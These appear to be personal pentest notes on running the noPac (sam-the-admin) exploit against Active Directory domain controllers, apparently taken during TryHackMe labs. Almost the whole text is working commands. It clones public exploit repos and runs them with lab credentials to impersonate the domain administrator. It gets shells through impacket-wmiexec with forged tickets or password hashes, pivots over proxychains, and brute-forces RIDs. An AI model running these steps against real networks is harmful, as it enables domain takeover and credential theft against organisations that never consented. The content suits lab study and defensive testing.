5.6 KiB
attacking machines with noPac exploit
logic
spoof a workstation account to request a ticket for a domain admin with no pack
* pack is the part of a ticket that contains user information
(Pac = "Privileged Attribute Certificate")
% if vuln able to impersonate a admin a DCSYNC the target
% only need a set of valid domain creds to sploit
setup
% exploit code git clone https://github.com/WazeHell/sam-the-admin.git
{%%} performing the noPac attack (THM: RazorBlack)
sudo python3 sam_the_admin.py -dc-ip <rhost-ip> <domain-name>/<username>:<password>
sudo python3 sam_the_admin.py -dc-ip 10.10.152.25 raz0rblack.thm/twilliams:roastpotatoes
- make sure you include tne netbios/hostname of the box for the highest priv user proxychains python3 sam_the_admin.py -dc-ip 10.200.151.30 -dc-host DC-SRV01 holo.live/watamet:Nothingtoworry!
% get a shell with the impacket-smb command or a other like wmiexec, psexec, etc
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass raz0rblack.thm/twilliams:[email protected]
-
needs to be modified because of the extra domain
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass raz0rblack.thm/twilliams:[email protected] KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass -dc-ip 10.10.152.25 raz0rblack.thm/twilliams:[email protected] KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass raz0rblack.thm/twilliams:[email protected]
{what worked for me after adding the netbios hostname and domain name to the /etc/hosts file}
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -dc-ip 10.10.21.231 -k -no-pass raz0rblack.thm/[email protected]
=-=-=-=-=-=-=-=------------=-=-=-=-=-=-=-=-=-= % if it fails
-
attempt a time sync sudo apt install ntpdate -y
sudo ntpdate <rhost-ip> sudo ntpdate 10.10.152.25
clean up after the fact (just delete the user that was created to impersonate administrator
% account creaated SAMTHEADMIN-39$:CxP)O@kQyHqW
% how to figure out that account is still there 1. rid-cycling
crackmapexec smb 10.10.85.161 -u twilliams -p roastpotatoes --rid-brute
% how to remove account //{!}\ by using impacket (addcomputer.py) to remove the machine account
impacket-addcomputer -dc-ip 10.10.104.115 -computer-name 'SAMTHEADMIN-55$' -dc-host HAVEN-DC -domain-netbios raz0rblack.thm 'raz0rblack.thm/oreo:P@ssw0rd' -delete
{/!} check to make sure the ticket still works after the account SAMTHEADMIN account has been removed KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -dc-ip 10.10.104.115 -k -no-pass raz0rblack.thm/[email protected]
* yes still works pog
0r just use Alh4zr3d version which auto deletes it
git clone https://github.com/Alh4zr3d/sam-the-admin.git
proxychains python3 sam_the_admin.py -dc-ip 10.200.151.30 holo.live/watamet:Nothingtoworry!
proxychains python3 sam_the_admin.py -dc-ip 10.200.151.30 -dc-host DC-SRV01 holo.live/watamet:Nothingtoworry!
export KRB5CCNAME='a-fubukis.ccache'
proxychains impacket-wmiexec -dc-ip 10.200.151.30 -k -no-pass holo.live/[email protected]
{!} problems with same the admin * some networks return this authentication error [-] Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)
* since you can't select what user to impersonate
there is a change that the ticket you get is for a user who may not be able to authenticate
---------------------------\\\\\\\\\\\\\\\\================================-----------------------
or a more automated version of noPac from this repo ;'..;' https://github.com/Ridter/noPac.git
git clone https://github.com/Ridter/noPac.git
% how use it (defaults) {auto shell} python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator
proxychains python3 noPac.py -use-ldap holo.live/watamet:Nothingtoworry! -dc-ip 10.200.151.30 -dc-host DC-SRV01 -shell --impersonate administrator
proxychains python3 noPac.py holo.live/watamet:Nothingtoworry! -dc-ip 10.200.151.30 -dc-host DC-SRV01 -shell --impersonate administrator
% example from the holo network noPac attempt python3 noPac.py -use-ldap -dc-ip /: --impersonate administrator -dump
-
domain into [*] Windows 10.0 Build 17763 x64 (name:DC-SRV01) (domain:holo.live) (signing:False) (SMBv1:False) watamet:Nothingtoworry!
-
perform the attack over socks proxy proxychians python3 noPac.py -use-ldap -dc-ip /: --impersonate administrator -dump proxychains python3 noPac.py -use-ldap -dc-ip 10.200.151.30 holo.live/watamet:Nothingtoworry! --impersonate administrator -dump
-use-ldap ("used when the server is running it's service with ssl") -
psexec in proxychains impacket-wmiexec holo.live/[email protected] -hashes ae19656e1067231cb5e3c5dcea320bba:ae19656e1067231cb5e3c5dcea320bba
0r use the ticket it creates with a method above